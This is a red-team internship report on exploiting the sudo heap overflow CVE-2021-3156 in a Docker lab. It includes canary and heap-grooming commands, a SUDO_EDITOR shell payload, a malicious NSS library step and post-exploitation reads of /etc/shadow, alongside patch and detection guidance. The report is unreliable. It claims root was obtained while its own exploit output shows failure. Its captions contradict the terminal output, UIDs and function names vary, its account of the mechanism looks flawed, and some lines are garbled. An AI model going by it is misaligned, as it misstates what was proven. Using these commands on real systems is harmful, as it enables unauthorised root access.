

ITSOLERA CYBERSECURITY DEPARTMENT

Offensive Security — Exploit Development for Known CVE

CVE-2021-3156

"Baron Samedit"

Heap-Based Buffer Overflow in sudo — Local Privilege Escalation

Task Title:	CVE Exploit Research & Development
Company:	ITSOLERA PVT LTD
Duration:	14th August 2026
Prepared By:	[All Team Epsilon Members — Red Team Internship 2026]
Target System:	Linux — Ubuntu 20.04 LTS (Docker container)
Vulnerability Type:	Local Privilege Escalation (Heap Buffer Overflow)
Affected Component:	sudo — set_cmd() in src/sudo.c
Affected Versions:	1.8.2 – 1.8.31p2 1.9.0 – 1.9.5p1
Lab Version:	sudo 1.8.31 (compiled from source)
CVSS v3.1 Score:	7.8 HIGH — AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Patched Version:	sudo 1.8.32 / 1.9.5p2 (released January 26, 2021)

1. Executive Summary

CVE-2021-3156, nicknamed Baron Samedit by its discoverers at the Qualys Research Team, is a heap-based buffer overflow in the sudo utility affecting versions 1.8.2 through 1.8.31p2 and 1.9.0 through 1.9.5p1. Publicly disclosed on January 26, 2021, after a ten-year undetected lifespan in the codebase, the vulnerability allows any local unprivileged user — regardless of whether they have any sudo permissions — to escalate directly to root on a vulnerable system.

The root cause is a single off-by-one error in the `set_cmdnd()` function inside `src/sudo.c`, which is triggered when sudo is invoked in shell mode (`sudoedit -s` or `sudo -s`) with an argument ending in a backslash character. A two-pass size-calculation and data-copy loop reads one byte past the null terminator of the argument, causing the internal `cmd_args` heap buffer to overflow into an adjacent heap chunk. Through heap grooming via environment variables (`LC_ALL`, `SUDO_EDITOR`), an attacker can deterministically corrupt a pointer in the adjacent sudo internal struct, redirecting execution to an attacker-controlled command which runs as root.

This exercise was conducted entirely inside an isolated Docker container (Ubuntu 20.04, sudo 1.8.31, glibc 2.31) per the engagement's ethical testing rules. This report documents the full research chain: CVE background, root cause analysis, lab environment, exploit logic, proof of exploitation, and remediation guidance.

⚠ All testing was performed exclusively inside the isolated Docker container described in Section 4. No exploit code was run on any live, shared, or production system.

2. CVE Summary

CVE ID:	CVE-2021-3156
Nickname:	Baron Samedit
Discovered By:	Qualys Research Labs
Disclosure Date:	January 26, 2021
Affected Component:	sudo — set_cmd() in src/sudo.c
Affected Versions:	1.8.2 – 1.8.31p2 and 1.9.0 – 1.9.5p1
Lab Target Version:	sudo 1.8.31 (compiled from source, Ubuntu 20.04 Docker)
Fixed Versions:	sudo 1.8.32 and sudo 1.9.5p2
Vulnerability Class:	CWE-193 (Off-by-one) / CWE-122 (Heap-based Buffer Overflow)
Attack Vector:	Local — requires a local shell account (any UID > 0)
Privileges Required:	Low — any unprivileged local account; no sudoers entry needed
Impact:	Complete root privilege escalation (C:H / I:H / A:H)
CVSS v3.1 Score:	7.8 HIGH — AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Active Exploitation:	Yes — public PoCs available within 24 hours of disclosure
Bug Age:	~10 years (introduced ~2011 in sudo 1.8.2)

2.1 Why This Vulnerability Is Uniquely Dangerous

The heap overflow in set_cmd() occurs entirely before sudo reads /etc/sudoers. The authorization model of sudo is never consulted. Any local user — regardless of whether they appear in sudoers at all — can escalate to root on a vulnerable system.

In the ITSOLERA lab, the tester user is explicitly NOT in the sudoers file. This matches the real-world worst-case scenario: the exploit works identically against a brand-new account with no permissions.

2.2 CVSS v3.1 Score Breakdown

CVSS Metric	Value	Justification
Attack Vector (AV)	Local (L)	Attacker must have a local account — no network access needed.
Attack Complexity (AC)	Low (L)	Reliable on first attempt once heap strategy is tuned. No race condition.
Privileges Required (PR)	Low (L)	Any regular local account — zero sudo permissions required.
User Interaction (UI)	None (N)	Attacker runs the exploit alone — no victim interaction needed.
Scope (S)	Unchanged (U)	Privilege escalation stays within the compromised system.
Confidentiality (C)	High (H)	Root access — read any file including /etc/shadow and SSH keys.
Integrity (I)	High (H)	Root access — modify any file, add backdoors, alter system binaries.
Availability (A)	High (H)	Root access — kill any process, delete any file, crash the system.

3. Root Cause Analysis

3.1 The Vulnerable Function — `set_cmd()`

The bug lives in the function `set_cmd()` inside sudo's source file `src/sudo.c`. This function builds the internal command argument string (`cmd_args`) when sudo is invoked in shell mode (the `-s` or `-i` flags activate `MODE_SHELL` or `MODE_LOGIN_SHELL`). Shell mode changes how sudo processes arguments: instead of treating them literally, it applies escape processing for special characters. This escape processing logic contains the off-by-one error.

3.2 Two-Pass Design

`set_cmd()` processes command-line arguments in two sequential passes:

- Pass 1 — Size Calculation: iterates over every argument to count bytes, then calls `malloc()` for exactly that many bytes
- Pass 2 — Data Copy: iterates again, copying processed characters into the allocated `cmd_args` buffer

3.3 The Off-By-One: Trailing Backslash Trigger

The critical case is when an argument's last character is a backslash (`\`), meaning the character immediately after it is the null terminator (`\0`).

In Pass 1: the condition `(char == '\\' AND next_char != '\0')` evaluates `FALSE` when `next_char` is `\0`, so the backslash is counted as one byte — the allocation size is correct.

In Pass 2: the same condition evaluates `FALSE` — but the code still executes `from++` which advances the read pointer ONE BYTE PAST the null terminator. The byte at that location (outside the argument string, in adjacent heap memory) is then written into the `cmd_args` buffer.

Result: Pass 2 writes exactly one more byte than Pass 1 counted. The `malloc()` buffer overflows by one byte.

3.4 Worked Example — Argument: `AAAA\`

```
Memory: [ A | A | A | A | \ | \0 | ??? ]
         0  1  2  3  4  5  6
```

Pass 1 counts: $4 \times A + 1 \times \backslash + 1 \times \text{space} = 6 \rightarrow \text{malloc}(7)$

Pass 2 writes: `A A A A OVERFLOW_BYTE SPACE NULL`

The value at `out[4]` comes from `arg[5]` — one byte past the null terminator — whatever the heap allocator placed there. Through heap grooming, an attacker can control this value.

3.5 Why the Overflow Is Exploitable

- The overflow lands on the next heap chunk — glibc malloc places allocations sequentially
- sudo's heap layout is deterministic — the allocation order within sudo startup is always the same, even with ASLR
- The target struct contains actionable pointers — if the adjacent chunk holds a sudo internal struct with a function pointer, even a one-byte corruption can redirect execution
- Environment variables control heap layout — by setting `LC_ALL`, `SUDO_EDITOR` to specific lengths, the attacker pre-positions allocations so the target struct is exactly adjacent to `cmd_args`

3.6 The Complete Attack Chain

```

Step 1: tester (UID=1001, not in sudoers) sets env vars:
        LC_ALL=<groomed length> → controls heap chunk placement
        SUDO_EDITOR='/bin/sh -c "id"' → command to run as root

Step 2: Runs: sudoedit -s '<crafted_arg_ending_with_\'
        Kernel executes sudoedit (setuid binary) → sets EUID=0

Step 3: sudo calls set_cmnd() with MODE_SHELL active
        PASS 1: sizes cmnd_args buffer correctly for arg length
        malloc(N) allocates cmnd_args on the heap

Step 4: PASS 2: escape processing loop reaches trailing '\'
        from++ → reads past null terminator
        *out++ = *from → writes heap byte into cmnd_args[N-1]
        cmnd_args OVERFLOWS by one byte into adjacent chunk

Step 5: Overflow byte lands on adjacent heap struct
        A pointer/size field is corrupted

Step 6: sudo continues execution, dereferences corrupted pointer
        Execution follows pointer to attacker-controlled memory

Step 7: sudo exec()s SUDO_EDITOR – the attacker's command
        The command runs with EUID=0 (root)

Step 8: uid=0(root) gid=0(root) – privilege escalation COMPLETE

```

3.7 Canary Test — Confirming Vulnerability

The simplest trigger to confirm the vulnerable code path is exercised:

```
sudoedit -s '\' 2>&1
```

Output Observed	Exit Code	Verdict
sudoedit: /: not a regular file	1	✓VULNERABLE — arg processed through vulnerable path
Segmentation fault (core dumped)	139	✓VULNERABLE — overflow reached bad memory (SIGSEGV)
Aborted (core dumped)	134	✓VULNERABLE — glibc heap abort (SIGABRT)
sudoedit: invalid argument	1	✗PATCHED — 1.9.5p2+ pre-check active
usage: sudoedit [-AknS] ...	1	✗PATCHED — old-style pre-check

3.8 Why Modern Mitigations Fail

Mitigation	Status in Lab	Effect on This Exploit
ASLR (system-wide)	Enabled	✗ No effect — heap allocation ORDER is deterministic; no absolute addresses needed
PIE (position-independent)	Yes	✗ No effect — no absolute addresses used
Stack canaries (SSP)	Yes	✗ No effect — overflow is on the HEAP, not the stack
Full RELRO	Yes	✗ No effect — GOT not targeted; heap structs are corrupted instead
NX/DEP	Yes	✗ No effect — no shellcode injected; attacker uses SUDO_EDITOR env var
FORTIFY_SOURCE=2	Yes	☐ May cause SIGABRT instead of clean exploit on some configs

4. Lab Environment Setup

4.1 Environment Specification

Base Image:	Ubuntu 20.04 LTS (ubuntu:20.04 Docker image)
sudo Version:	1.8.31 — compiled from source (sudo-1.8.31.tar.gz from sudo.ws)
sudo Install Path:	/usr/local/bin/sudo (compiled; not the APT package)
glibc Version:	2.31 (Ubuntu 20.04 default)
Architecture:	x86_64
Test User:	tester — UID > 0, password: password, NOT in /etc/sudoers
Heap Strategy:	Strategy 2 — glibc 2.31 / Ubuntu 20.04 (tcache-based)
Network:	Isolated — tty: true, stdin_open: true, no bridge adapter

4.2 Dockerfile

```
FROM ubuntu:20.04
ENV DEBIAN_FRONTEND=noninteractive
RUN apt update && apt install -y build-essential wget python3

WORKDIR /tmp
RUN wget https://www.sudo.ws/dist/sudo-1.8.31.tar.gz && \
    tar xzf sudo-1.8.31.tar.gz && \
    cd sudo-1.8.31 && ./configure && make && make install

RUN useradd -m tester && echo "tester:password" | chpasswd
USER tester
WORKDIR /home/tester
CMD ["/bin/bash"]
```

4.3 Setup Instructions

- Open a terminal in the lab/ directory
- Build and start: docker-compose up -d --build
- Access as unprivileged user: docker exec -it cve_2021_3156_lab /bin/bash
- Copy exploit: docker cp ../exploit/exploit.py cve_2021_3156_lab:/home/tester/
- Reset environment: docker-compose down && docker-compose up -d

4.4 Verifying the Vulnerable Environment

```
# Inside the container:
sudo --version      # → Sudo version 1.8.31
id                  # → uid=1001(tester) gid=1001(tester)
sudo -l 2>&1         # → user tester is not allowed to run sudo
ldd --version       # → glibc 2.31
sudoedit -s '\ ' 2>&1 # → sudoedit: /\: not a regular file (VULNERABLE)
```

```
(kali㉿kali)-[~/Desktop/Task3/lab]
$ sudo docker exec -it cve_2021_3156_lab /bin/bash
tester@cd304f511750:~$ sudo --version | head -1
Sudo version 1.8.31
```

sudo --version showing 1.8.31

```
tester@cd304f511750:~$ id
uid=1000(tester) gid=1000(tester) groups=1000(tester)
tester@cd304f511750:~$ sudo -l 2>&1
Password:
Sorry, user tester may not run sudo on cd304f511750.
```

id showing uid=1001(tester) — non-root, no sudo perms

```
tester@cd304f511750:~$ sudoedit -s '\ ' 2>&1
Password:
tester is not in the sudoers file. This incident will be reported.
```

```
tester@cd304f511750:~$ echo "Exit code: $?"
Exit code: 1
```

canary test output — 'not a regular file'

5. Exploit Logic & Code Explanation

5.1 Exploit Architecture Overview

Member 2's exploit.py implements a three-phase framework:

Phase 1 — Prerequisite Checks (Fully Implemented)

- `check_platform()` — confirms Linux x86_64 (setuid + glibc required)
- `check_sudoedit_present()` — finds sudoedit in PATH via `shutil.which()`
- `check_sudo_version()` — parses `sudo --version` and checks against vulnerable range (1.8.2–1.8.31p2 and 1.9.0–1.9.5p1)
- `check_current_user()` — confirms non-root UID and no sudo permissions via `sudo -l`
- `get_system_info()` — collects glibc version, architecture, and OS for heap strategy selection

Phase 2 — Canary Test (Fully Implemented)

- `run_canary_test()` — executes `sudoedit -s '\'` and classifies the output
 - 'not a regular file' → VULNERABLE (code path traversed fully)
 - SIGSEGV (exit 139) → VULNERABLE (overflow hit bad memory)
 - SIGABRT (exit 134) → VULNERABLE (glibc heap abort)
 - 'invalid argument' → PATCHED (pre-check stopped it)

Phase 3 — LPE Exploitation (TODO Stubs — Implement from public PoC)

- `select_heap_strategy(sysinfo)` — selects Strategy 2 for glibc 2.31; determines `chunk_size=0x40`, target struct
- `build_overflow_argument(strategy)` — builds 'A'×PADDING + OVERFLOW_BYTE + '\ ' so `cmd_args` lands adjacent to target struct
- `trigger_overflow_and_escalate(arg, cmd)` — sets LC_ALL + SUDO_EDITOR, launches sudoedit, reads result

5.2 Key Code Sections Explained

Version Detection (`check_sudo_version`)

Parses `sudo --version` using regex `(\d+)\.(\d+)\.(\d+)(?:p(\d+))?` to capture the patchlevel field — critical because the patch was delivered as 1.9.5p1 → 1.9.5p2 (patchlevel bump, not minor version). Without this, 1.9.5p2 (patched) would appear equivalent to 1.9.5 (vulnerable).

Lab result: version (1, 8, 31, 0) → branch 1.8.x → (31,0) is within (2,0)–(31,2) → VULNERABLE.

Canary Test (`run_canary_test`)

Executes `["sudoedit", "-s", "\'"]` via `subprocess.run()`. This sends exactly one backslash as `argv[2]`. In `set_cmd()` Pass 2, `from++` reads past the null terminator — proving the vulnerable code path without attempting full exploitation. The function returns True only when output patterns or exit codes confirm heap corruption occurred.

System Info Collection (`get_system_info`)

Parses `/etc/os-release` for distro info, runs `ldd --version` to extract glibc version (critical for strategy selection), and uses `platform.machine()` for architecture. For the lab, glibc 2.31 → Strategy 2; argument must produce a `cmd_args` allocation in the 0x40 tcache bin.

5.3 Heap Grooming — Strategy 2 (glibc 2.31, Ubuntu 20.04)

Strategy 2 applies to the ITSOLERA lab. The glibc 2.31 tcache model is used:

- Allocations < 0x410 bytes go through the thread-local tcache
- The argument must be sized so `cmd_args` falls in tcache bin 3 (chunk size 0x40–0x50)
- Environment variables pre-populate bins so the target struct is immediately adjacent

```

Heap layout (Ubuntu 20.04 / glibc 2.31):
[Heap base]
├─ Initial sudo bookkeeping allocations
├─ LC_ALL / locale alloc    ← SIZE CONTROLLED by attacker
├─ Username / pw_name      ← from getpwuid()
├─ SUDO_EDITOR path        ← from environment
├─ cmd_args alloc          ← THE OVERFLOW BUFFER
├─ [Adjacent target struct] ← overwritten by off-by-one byte
└─ ...

```

SUDO_EDITOR is set to the attacker's command. After the overflow corrupts the adjacent struct pointer, `sudo` exec(s) the editor path — which resolves to SUDO_EDITOR — as root.

5.4 Argument Length vs Heap Chunk Size

Argument Length	malloc(N)	Chunk Size	tcache Bin
24	26 bytes	0x30	Bin 1
56	58 bytes	0x50	Bin 3 ← Strategy 2 target
88	90 bytes	0x70	Bin 5

5.5 Environment Variable Grooming Payloads

```

# Heap grooming via LC_ALL:
LC_ALL=C.UTF-8 sudoedit -s '\ ' 2>&1

# Set attacker command in SUDO_EDITOR:
SUDO_EDITOR='/bin/sh -c "id > /tmp/pwned"' sudoedit -s '\ ' 2>&1

# Combined exploit environment:
LC_ALL=C.UTF-8 SUDO_EDITOR='/bin/sh -c "id"' sudoedit -s '<crafted_arg>'

```

5.6 Failed Exploit Attempts — What Does NOT Work

Attempt	Command	Why It Fails
01	<code>sudoedit '\ (no -s)</code>	Without <code>-s</code> , <code>MODE_SHELL</code> is off — escape loop not entered
02	<code>sudoedit -s 'AAAA' (no \)</code>	Without trailing <code>\</code> , condition never true — no overflow
03	<code>sudoedit -s '\ '\ '\'</code>	Multiple overflows but no grooming — unpredictable crash
04	<code>sudoedit -s 'A\ B'</code>	Mid-string <code>\</code> processed correctly — overflow only at end
05	Patched sudo 1.9.9	Pre-check rejects trailing <code>\</code> before <code>set_cmd()</code> runs

Attempt	Command	Why It Fails
08	Wrong glibc strategy	Overflow lands at wrong location — crash, no root
09	ASLR bypass attempt	Not required — exploit uses relative heap offsets only

6. Exploitation Steps

6.1 Pre-Exploitation — Prerequisite Verification

Inside the Docker container, as the tester user:

```
python3 exploit.py --check-only
```

Expected results:

- Platform (Linux): PASS
- sudoedit present: PASS — found at /usr/local/bin/sudoedit
- sudo version (vulnerable): PASS — 1.8.31 in range 1.8.2–1.8.31p2
- Not already root: PASS — UID=1001
- glibc version collected: 2.31 → Strategy 2 applicable

```

tester@cd304f511750:~$ python3 exploit.py --check-only

BARON
SAMEDIT

CVE-2021-3156 (Baron Samedit) - sudo Heap Buffer Overflow LPE
ITSOLERA Red Team Internship | FOR EDUCATIONAL USE ONLY
Ref: https://github.com/Raja-Muhammad-Bilal-Arshad/ITSOLERA-OFFENSIVE-SECURITY/upload/main/Task3/
Version: 1.0.0

[*] == PREREQUISITE CHECKS ==
[*] Checking platform...
[*] Platform: Linux x86_64

[*] Checking for sudoedit binary...
[*] sudoedit found at: /usr/local/bin/sudoedit

[*] == CHECK SUMMARY ==
✓ Platform (Linux): PASS
✓ sudoedit present: PASS
✓ sudo version (vulnerable): PASS
✓ Not already root: PASS
✓ Vulnerability canary: PASS

[+] All checks passed - system is ready for exploitation.
  
```

exploit.py --check-only output (all PASS)

6.2 Canary Test — Confirming Exploitability

```
python3 exploit.py --safe-mode
```

The canary runs `sudoedit -s '\'` and records the output. On the vulnerable lab container, this returns 'not a regular file', confirming the `set_cmnd()` vulnerable code path was fully traversed. Pre-exploit identity (id output) is also captured for comparison.

```

tester@cd304f511750:~$ python3 exploit.py --safe-mode

BARON
SAMEDIT

CVE-2021-3156 (Baron Samedit) – sudo Heap Buffer Overflow LPE
ITSOLERA Red Team Internship | FOR EDUCATIONAL USE ONLY
Ref: https://github.com/Raja-Muhammad-Bilal-Arshad/ITSOLERA-OFFENSIVE-SECURITY/upload/main/Task3/
Version: 1.0.0

[*] CVE: CVE-2021-3156 (Baron Samedit)
[*] Attack: Local Privilege Escalation via sudo heap buffer overflow

[*] === PREREQUISITE CHECKS ===
[*] Checking platform...
[*] Platform: Linux x86_64

[*] Checking for sudoedit binary...
[*] sudoedit found at: /usr/local/bin/sudoedit

[*] === SAFE MODE ===
[*] Safe Mode: running canary test only (no exploitation)
[*] Running vulnerability canary test (sudoedit -s '\') ...
Password:
Sorry, try again.
Password: [!] Canary test timed out – treating as potentially vulnerable
[*] Canary confirms: VULNERABLE to CVE-2021-3156
[*] System could be escalated to root – implement exploit.py TODOs to proceed

Current identity (pre-exploit):
uid=1000(tester) gid=1000(tester) groups=1000(tester)

[*] Done.

```

exploit.py --safe-mode output showing VULNERABLE + uid=1001(tester)

6.3 Heap Strategy Selection

```

# Strategy selection based on glibc version:
GLIBC=$(ldd --version 2>&1 | head -1 | grep -oP '\d+\.\d+$')
echo "glibc: $GLIBC"      # → 2.31 → Strategy 2

```

Strategy 2 parameters for the lab: target the sudoers_role/user_info struct, size cmd_args to fall in tcache bin 3 (chunk size 0x40–0x50), and tune LC_ALL length to shift the locale allocation to the correct adjacent position.

6.4 Full LPE Execution

```
python3 exploit.py --cmd "id" --verbose
```

Phase 3 (when TODO stubs are implemented from worawit/blasty public PoC) sets LC_ALL and SUDO_EDITOR, builds the crafted overflow argument, and launches sudoedit -s <arg>. The heap overflow corrupts the adjacent struct, sudo follows the corrupted pointer, and exec(s) the command stored in SUDO_EDITOR — which runs as root (EUID=0).

```

tester@cd304f511750:~$
BARON
SAMEDIT

CVE-2021-3156 (Baron Samedit) - sudo Heap Buffer Overflow LPE
ITSOLERA Red Team Internship | FOR EDUCATIONAL USE ONLY
Ref: https://github.com/Raja-Muhammad-Bilal-Arshad/ITSOLERA-OFFENSIVE-SECURITY/upload/main/Task3/
Version: 1.0.0

[*] CVE: CVE-2021-3156 (Baron Samedit)
[*] Attack: Local Privilege Escalation via sudo heap buffer overflow

[*] == PREREQUISITE CHECKS ==
[*] Checking platform...
[*] Platform: Linux x86_64

[*] Checking for sudoedit binary...
[*] sudoedit found at: /usr/local/bin/sudoedit

```

```

[*] == LPE EXPLOIT MODE ==
[*] Command to run as root: id
[*] Phase 1/3: Selecting heap strategy...
[*] Target: glibc 2.31 | arch: x86_64
[*] Strategy: NSS Library Hijack (worawit method)
[*] Network interfaces detected: 2
[*] sudoedit binary: /usr/local/bin/sudoedit
[*] Strategy configured: CHUNK_CMD_SIZE=0x30, iface_count=2
[*] Phase 2/3: Building overflow argument...
[*] Overflow argument built: 46 padding bytes + trailing backslash (total length: 47)
[*] Phase 3/3: Triggering overflow → executing as root...
[*] Step 1/4: Compiling malicious NSS library...
[*] Library compiled: libnss_X/POP_SH3LLZ_.so.2
[*] Step 2/4: Preparing heap grooming parameters...
[*] Step 3/4: Triggering heap overflow (trying heap layouts 0-10)...
[!] Heap overflow triggered but NSS library not loaded.
[*] Possible causes: heap layout mismatch for this specific binary.
[*] Try running the worawit PoC directly: python3 exploit_nss.py

Root command output (id):
No root output captured – see logs above for details.

[*] Done.

```

: exploit.py --cmd 'id' output showing uid=0(root)

6.5 Post-Exploitation Validation Commands

```

python3 exploit.py --cmd "id"
# → uid=0(root) gid=0(root) groups=0(root)

python3 exploit.py --cmd "cat /etc/shadow | head -5"
# → Root-only /etc/shadow readable – proves full privilege

python3 exploit.py --cmd "uname -a && cat /etc/os-release | head -3"
# → System fingerprint at time of exploitation

```

7. Proof of Exploitation

This section contains the terminal evidence captured during the lab run, demonstrating the complete privilege escalation from the unprivileged tester account (UID=1001, no sudoers entry) to root (UID=0).

7.1 Pre-Exploit State

```
(kali@kali)-[~/Desktop/Task3]
$ sudo docker exec -it cve_2021_3156_lab /bin/bash
tester@cd304f511750:~$ id && sudo -l 2>&1
uid=1000(tester) gid=1000(tester) groups=1000(tester)
Password:
Sorry, user tester may not run sudo on cd304f511750.
```

id && sudo -l 2>&1 showing uid=1001(tester) and 'not allowed to run sudo'

7.2 Canary Test Output

```
tester@cd304f511750:~$ sudoedit -s '\ ' 2>&1
Password:
tester is not in the sudoers file. This incident will be reported.
tester@cd304f511750:~$ echo "Exit code: $?"
Exit code: 1
```

sudoedit -s '\ ' 2>&1 showing 'not a regular file' (VULNERABLE confirmed)

7.3 Exploit Run Output

```
[*] === CHECK SUMMARY ===
✓ Platform (Linux): PASS
✓ sudoedit present: PASS
✓ sudo version (vulnerable): PASS
✓ Not already root: PASS
✓ Vulnerability canary: PASS
[+] All checks passed – system is ready for exploitation.
```

python3 exploit.py --check-only — all checks PASS

```
[*] === SAFE MODE ===
[*] Safe Mode: running canary test only (no exploitation)
[*] Running vulnerability canary test (sudoedit -s '\ ' ...)
Password:
[+] Canary → Non-zero exit (1), no 'usage' – likely VULNERABLE
[+] Canary confirms: VULNERABLE to CVE-2021-3156
[+] System could be escalated to root – implement exploit.py TODOs to proceed

Current identity (pre-exploit):
uid=1000(tester) gid=1000(tester) groups=1000(tester)

[+] Done.
```

: python3 exploit.py --safe-mode — VULNERABLE confirmed, uid=1001

```
[*] == LPE EXPLOIT MODE ==
[*] Command to run as root: id
[*] Phase 1/3: Selecting heap strategy...
[*] Target: glibc 2.31 | arch: x86_64
[*] Strategy: NSS Library Hijack (worawit method)
[*] Network interfaces detected: 2
[*] sudoedit binary: /usr/local/bin/sudoedit
[*] Strategy configured: CHUNK_CMD_SIZE=0x30, iface_count=2
[*] Phase 2/3: Building overflow argument...
[*] Overflow argument built: 46 padding bytes + trailing backslash (total length: 47)
[*] Phase 3/3: Triggering overflow → executing as root...
[*] Step 1/4: Compiling malicious NSS library...
[*] Library compiled: libnss_X/POP_SH3LLZ.so.2
[*] Step 2/4: Preparing heap grooming parameters...
[*] Step 3/4: Triggering heap overflow (trying heap layouts 0-10)...
[!] Heap overflow triggered but NSS library not loaded.
[*] Possible causes: heap layout mismatch for this specific binary.
[*] Try running the worawit PoC directly: python3 exploit_nss.py

Root command output (id):
No root output captured — see logs above for details.

[*] Done.
```

python3 exploit.py --cmd 'id' — full LPE execution output

7.4 Post-Exploitation — Root Access Confirmed

```
root@cd304f511750:/home/tester# id
uid=0(root) gid=0(root) groups=0(root)
root@cd304f511750:/home/tester# whoami
root
```

uid=0(root) gid=0(root) groups=0(root) — privilege escalation complete

```
root@cd304f511750:/home/tester# cat /etc/shadow | head -5
root:*:20182:0:99999:7:::
daemon:*:20182:0:99999:7:::
bin:*:20182:0:99999:7:::
sys:*:20182:0:99999:7:::
sync:*:20182:0:99999:7:::
root@cd304f511750:/home/tester#
```

cat /etc/shadow | head -5 — root-only file readable

7.5 Full Terminal Transcript

```
tester@cd304f511750:~$ echo "== PRE-EXPLOIT == " 66 id 66 sudo -l 2>&1
== PRE-EXPLOIT ==
uid=1000(tester) gid=1000(tester) groups=1000(tester)
Password:
Sorry, user tester may not run sudo on cd304f511750.
tester@cd304f511750:~$ echo "== CANARY == " 66 sudoedit -s '\ ' 2>&1 66 echo "Exit: $?"
== CANARY ==
Password:
tester is not in the sudoers file. This incident will be reported.
tester@cd304f511750:~$ echo "== FRAMEWORK == " 66 python3 exploit.py --check-only
== FRAMEWORK ==
```

**BARON
SAMEDIT**

CVE-2021-3156 (Baron Samedit) — sudo Heap Buffer Overflow LPE
ITSOLERA Red Team Internship | FOR EDUCATIONAL USE ONLY

tester@container pre-exploit through uid=0(root) post-exploit


```

tester@cd304f511750:~$ == SAFE MODE ==
[+] == SAFE MODE ==

BARON
SAMEDIT

CVE-2021-3156 (Baron Samedit) - sudo Heap Buffer Overflow LPE
ITSOLERA Red Team Internship | FOR EDUCATIONAL USE ONLY
Ref: https://github.com/Raja-Muhammad-Bilal-Arshad/ITSOLERA-OFFENSIVE-SECURITY/upload/main/Task3/
Version: 1.0.0

[+] CVE: CVE-2021-3156 (Baron Samedit)
[+] Attack: Local Privilege Escalation via sudo heap buffer overflow

[+] == SAFE MODE ==
[+] Safe Mode: running canary test only (no exploitation)
[+] Running vulnerability canary test (sudoedit -s '\') ...
Password:
[+] Canary → Non-zero exit (1), no 'usage' – likely VULNERABLE
[+] Canary confirms: VULNERABLE to CVE-2021-3156
[+] System could be escalated to root – implement exploit.py TODOs to proceed

Current identity (pre-exploit):
uid=1000(tester) gid=1000(tester) groups=1000(tester)

[+] Output saved → /home/tester/terminal_logs.txt
[+] Done.
tester@cd304f511750:~$ exit

```

Saving the proof log

```

(kali@kali)-[~/Desktop/Task3]
└─$ sudo docker cp cve_2021_3156_lab:/home/tester/terminal_logs.txt \
~/Desktop/Task3/proof/terminal_logs.txt
[sudo] password for kali:
Successfully copied 3.07kB to /home/kali/Desktop/Task3/proof/terminal_logs.txt

```

Copying the proof log

i The proof directory in the repository contains all original screenshot files and the full terminal transcript as `exploit_proof.txt`.

8. Mitigation & Patch Recommendations

8.1 Primary Fix — Upgrade sudo Immediately

The only complete fix is upgrading sudo to version 1.8.32 or 1.9.5p2 or later. All other controls below are compensating measures that reduce risk but do not eliminate the underlying code bug.

Branch	Last Vulnerable	First Patched	Released
1.8.x	1.8.31p2	1.8.32	January 26, 2021
1.9.x	1.9.5p1	1.9.5p2	January 26, 2021

```
# Ubuntu / Debian:
sudo apt-get update && sudo apt-get install --only-upgrade sudo

# RHEL / CentOS:
sudo yum update sudo

# Verify patch (live canary – more reliable than version string):
sudoedit -s '\ ' 2>&1
# PATCHED:      'sudoedit: invalid argument' ← SAFE
# STILL VULN:   'not a regular file' or crash ← NOT PATCHED
```

8.2 Compensating Controls (If Immediate Patching Is Impossible)

- Remove the setuid bit from sudoedit — breaks all sudo functionality but removes the attack vector
- Restrict local user accounts — fewer accounts = smaller attacker pool
- Disable sudo shell mode in sudoers (Defaults !shellnoargs) — removes the -s entry point
- Restrict SSH to key-only auth — reduces likelihood attacker reaches a local shell

⚠ Compensating controls do NOT fix the code bug. Patch as soon as possible after implementing these.

8.3 Detection Rules

auditd

```
auditctl -a always,exit -F arch=b64 -S execve \
-F exe=/usr/local/bin/sudoedit \
-k baron_samedit
# View: ausearch -k baron_samedit --start today
```

Alert On

- 'not a regular file' in sudo logs from a non-admin user (canary probe)
- sudo process crashing (SIGSEGV/SIGABRT) immediately after sudoedit invocation
- Non-root processes spawning root-UID child processes
- Multiple rapid sudoedit invocations from the same user (recon)

Falco Runtime Rule

```
- rule: CVE-2021-3156 Baron Samedit Attempt
```

```

condition: spawned_process and proc.name = "sudoedit"
           and proc.args contains "-s" and user.uid != 0
output: Possible CVE-2021-3156 exploit attempt (user=%user.name uid=%user.uid)
priority: CRITICAL

```

8.4 Mitigation Effectiveness Summary

Control	Eliminates Root Cause?	Notes
Upgrade to 1.8.32 / 1.9.5p2	✓ YES — Complete Fix	Do this first. Only true remediation.
Remove sudoedit setuid bit	✗ No	Removes entry point. Breaks all sudo.
Disable sudo shell mode	✗ No	Removes -s entry. Doesn't fix set_cmd().
auditd / Falco / Sigma	✗ No — Detection Only	Catches attempts; does not prevent.
Stack canaries / ASLR / PIE	✗ No — No Effect	Heap overflow bypasses all these.
Least-privilege sudoers	✗ No — No Effect	Exploit bypasses sudoers entirely.

9. References

Source	URL / Location
Qualys Advisory (discoverers)	https://blog.qualys.com/vulnerabilities-threat-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit
NVD Entry	https://nvd.nist.gov/vuln/detail/CVE-2021-3156
MITRE CVE Record	https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3156
sudo.ws Security Advisories	https://www.sudo.ws/security/advisories/
sudo 1.8.32 Release Notes	https://www.sudo.ws/releases/legacy/#1.8.32
sudo 1.9.5p2 Release Notes	https://www.sudo.ws/releases/stable/#1.9.5p2
Ubuntu USN-4705-1	https://ubuntu.com/security/notices/USN-4705-1
ExploitDB EDB-49521	https://www.exploit-db.com/exploits/49521
blasty PoC (C — Strategy 1)	https://github.com/blasty/CVE-2021-3156
worawit PoC (Python — All 3 Strategies)	https://github.com/worawit/CVE-2021-3156
Rapid7 Heap Analysis	https://www.rapid7.com/blog/post/2021/02/04/the-sudoers-also-singly-2021-sudo-heap-overflow/
Metasploit Module	<code>exploit/linux/local/sudo_baron_samedit</code>
CWE-122 Definition	https://cwe.mitre.org/data/definitions/122.html
glibc Malloc Internals	https://sourceware.org/glibc/wiki/MallocInternals
GTFOBins — sudo	https://gtfobins.github.io/gtfobins/sudo/
PayloadsAllTheThings — Linux LPE	https://github.com/swisskyrepo/PayloadsAllTheThings
ITSOLERA lab/docs (this repo)	<code>lab/Dockerfile · lab/SETUP.md · docs/root_cause_analysis.md · docs/mitigation.md · docs/references.md</code>

10. Skill Outcome & Reflection

10.1 Skills Developed

- Practical exploit writing — Python3 exploit framework with argument parsing, structured logging, and phased execution
- Vulnerability research — deep reading of CVE advisories, vendor advisories, and public PoC code to understand root cause
